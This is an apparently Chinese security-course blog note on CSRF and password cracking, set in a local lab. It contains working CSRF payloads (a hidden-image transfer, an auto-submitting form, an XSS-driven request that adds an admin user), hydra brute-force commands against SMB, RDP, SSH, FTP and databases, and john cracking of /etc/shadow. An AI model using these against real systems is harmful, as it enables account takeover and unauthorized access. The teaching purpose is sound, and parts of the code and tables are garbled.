06跨站请求伪造(CSRF)与口令(密码)安全

一、跨站请求伪造

1.概述

   黑客可以伪造管理员的正常请求,强制管理员给任意用户的发出各种请求。

(1)基本概念

    跨站请求伪造( Cross Site Request Forgery,CSRF ) 。
    CSRF 是⼀种攻击,它强制终端⽤户在当前对其进⾏身份验证后的 Web 应⽤程序上执⾏⾮本意操作的攻
击。
    CSRF 攻击的重点在于更改状态的请求,⽽不是盗取数据,因为攻击者⽆法查看伪造请求的响应。

(2)关键点

     受害者没有退出登录。

     CSRF 是⼀种欺骗受害者提交恶意请求的攻击。它继承了受害者的身份和特权,代表受害者执⾏⾮本意
的、恶意的操作。

 (3)目标

      CSRF 的⽬标是更改⽤户账户的状态,攻击者利⽤ CSRF 发送的请求都是更改状态的请求,⽐如,转账、
更改密码,购买商品等等。
      CSRF 的场景中,攻击者是没有办法获得服务器的响应。

2.CSRF的场景复现

      模拟银行网站

http://192.168.48.131/CSRF/bank/

      恶意网站

http://192.168.48.131/CSRF/csrf/

(1)账户之间转账

         构造CSRF攻击链接

<img src='./1.jpg'><br />
<img src='http://192.168.48.131/CSRF/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93' alt='宝⼑在⼿,谁与争锋'>

通过<img>标签构造GET请求。这个GET 请求来⾃于受害者的浏览器,是⽤户发起的转账请求。

受害者访问⽹站的时候加载了 <img> 标签。浏览器会根据 <img> 标签中的 SRC 属性,请求服务器资源

GET ),会⾃动带上身份认证信息( Cookie )。

(2)CSRF 场景建模

      简述:首先受害者登录一个信任网站(比如银行网站),通过网站验证,浏览器会产生信任网站的身份凭证(cookie),这时候,受害者在没有登出信任网站的情况下,访问危险网站,危险网站就会载入恶意代码,要求受害者访问信任站点(发送对信任网站的请求),根据恶意代码黑客就可以携带信任网站的身份验证(受害者的cookie)来登入受害者信任的网站进行恶意代码的操作。

3.CSRF的类别

  GET 请求。
  把关键操作采⽤ POST 请求,是不是就能够防御 CSRF 漏洞了呢?

POST方式

<meta charset='utf-8'>
<form name='csrf' action='
http://192.168.48.131/CSRF/bank/action.php' 
method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />

    GET 请求换成POST请求也不能防御CSRF漏洞

4.与XSS漏洞相结合

    攻击者可以利⽤ XSS 触发 CSRF 攻击。因为,可以利⽤ JS 发送 HTTP 请求。
    经过研究受害⽹站的业务流程,可以构造如下代码
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.48.131/cms/admin/user.action.php:,false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=anin&password=123456&password2=123456&butt
on=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

     XSS和CSRF联系:发生在客户端,典型前端漏洞

5.CSRF漏洞的防御

(1)无效的防御

    使⽤秘密的Cookie

    仅接收POST 请求

    多步交易:多步交易,有可能会被恶意攻击者预测。

     URL 重写:⽤户的身份信息会暴露在URL 中;不建议通过引⼊另外⼀个漏洞来解决当前漏洞。

     HTTPS:所有安全机制的前提。

(2)有效的防御

      验证 Referer 字段:当前URL 的上⼀个URL是否可以伪造?

       添加Token 验证:⼀串随机字符串;

                                    每⼀次客户端的请求,服务器都要刷新Token;

                                    服务器创建了⼀个 Token 值,存储在服务器中并且下发到浏览器 ,下次浏览器请求,需要提交该Token 值,服务器根据浏览器提交的 Token 与服务器中存储的 Token 进⾏⽐对: 
                                          如果⼆者⼀致,说明请求是正常业务流程。;
                                          如果⼆者不⼀致,说明请求有可能来⾃于恶意的攻击者。
 
                                    Token 的设计,在 PHP 中通常利⽤ SESSION 机制来实现。
⼆次验证:在关键操作之前,再输⼊密码或者验证码。

二、密码安全

1.密码安全威胁

现在很多地⽅都是以(⽤户名)账户和(⼝令)密码作为鉴权的⽅式,(⼝令)密码就意味着访问权
限。

人和账密绑定、账密和权限绑定

密码的安全现状

密码对于保护资产来讲是⾄关重要,保证密码安全也是重要的课题之⼀。
密码所面临的安全风险:
密码泄露: 以⽂件的⽅式保存⼝令;
                  ⽹站的配置⽂件;
                  源代码中的注释;
                  备份⽂件;
                  邮件,⼝令以明⽂的⽅式出现在邮件中;
                  浏览器中保存的账密;
弱密码: 123456|654321|8888888|admin ,都是常⻅的弱密码
默认密码: phpStudy mysql 默认账密 [root:root]
                  Tomcat 管理控制台默认账密 [tomcat:tomcat]
明文传输: http|ftp|telnet 等等服务,都是明⽂传输的
                  被嗅探

2.密码破解方式

(1)暴力破解:

             暴⼒破解是最原始,最粗暴的破解⽅法。
             暴⼒破解就是利⽤所有可能的字符组成密码字典,去尝试破解,根据运算能⼒,如果能够承受的起时间
成本,最终⼀定会爆破出密码。
              密码空间:所有可能的密码的个数。
             密码空间⼤⼩的影响因素: 1. 字符集合; 2. 密码位数
              密码字典⽣成⼯具 - crunch:
crunch 8 8 0123456789
crunch 8 8 0123456789abcdefghijklmnopqrstuvwxyz
crunch 1 8 0123456789abcdefghijklmnopqrstuvwxyz
crunch 8 8 -t 1990%%%%
字符集
密码位数密码空间大小
[0-9]
810^8858M
[0-9][a-z]
836^8
24213780 MB
[0-9][a-z]1-8?
24826537 MB

 

(2)字典破解:

          如果能够通过⽐较合理的条件,筛选或者过滤掉⼀些全字符组合的内容,就会⼤幅度降低爆破的成本。
          把筛选出的特定的密码组合成具有明显特征的字典。密码字典就是暴⼒破解中密码空间的⼦集。
          但是,再⽤密码字典进⾏爆破的时候,有可能会漏掉真正的密码。
          kali 中的字典:/usr/share/wordlists/rockyou.txt.gz
           弱⼝令字典: 123456 ;admin ;root...
          社⼯字典: ⼈们在设置密码的时候,往往为了便于记忆,密码的内容和组合会与个⼈信息有关,⽐如常⻅的密码组
名字 + ⽣⽇“:anin1112。
          社⼯字典更具针对性,准确率有可能会⽐较⾼: 亦思社会⼯程学字典⽣成器 ;cupp -i。
          字符集字典: 字符集合 ;密码位数; 组合⽅法。
          示例:
                  密码组合:数字 +".com"
                  密码位数: 7
                  示例: 000.com|001.com
                  crunch 7 7 -t %%%.com > test.dic

(3)在线远程密码破解:

                   ⽤户名和密码需要在服务器端验证,需要⽹络连接
                   ⽹站后台;
                   RDP;
                   SSH;

(4)离线密码破解:

                    直接破解的是密码密⽂
                    MD5 密⽂: https://www.cmd5.com/; https://pmd5.com/
                   /etc/shadow
 

(5)密码破解情况:

                    ⽤户名未知,密码未知
                    ⽤户名已知,密码未知
                    ⽤户名未知,密码已知

 

3.Hydra-远程密码破解神器

命令速查

4.远程密码破解实例

(1)远程爆破windows ⼝令

SMB 服务:

hydra smb://192.168.48.131 -L /home/kali/dic/test/user.dic -P
/home/kali/dic/test/pass.dic -vV -t 8 -o 131.smb
hydra smb://192.168.48.131 -L /home/kali/dic/test/user.dic -P
/home/kali/dic/test/pass.dic -vV -t 8 -o 131.smb -f

RDP服务

 hydra rdp://192.168.16.131-l administrator -P
/home/kali/dic/test/pass.dic -t 1 -o 131.rdp -f

(2)远程爆破Linux ⼝令

SSH服务

hydra ssh://192.168.48.132 -L /home/kali/dic/test/user.dic -P
/home/kali/dic/test/pass.dic -vV -o 132.ssh -f -e nsr

(3)其他服务的爆破

FTP服务

hydra ftp://192.168.48.131 -L user.dic -P pass.dic -f -vV -e nsr

SQL Server服务

hydra mssql://192.168.48.131 -L user.dic -P pass.dic -f -vV -e nsr

MySQL服务

sudo hydra mysql://127.0.0.1 -L /home/kali/dic/test/user.dic -P
/home/kali/dic/test/pass.dic -f -vV -t 1 -o 127.mysql -e nsr

5.离线密码破解

(1)/etc/shadow文件爆破

sudo cp /etc/shadow ./
john shadow
john shadow --wordlist=rockyou.txt
john shadow --show

(2)MD5密文爆破

https://www.cmd5.com/
https://pmd5.com/

6.网站后台爆破

      Burp Suite
      Intruder
      有⽆验证码:
          如果验证码不能识别或者不能爆破,基本上可以放弃了。
          绕过验证码
               直接删除验证码
               是否在 Cookie
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值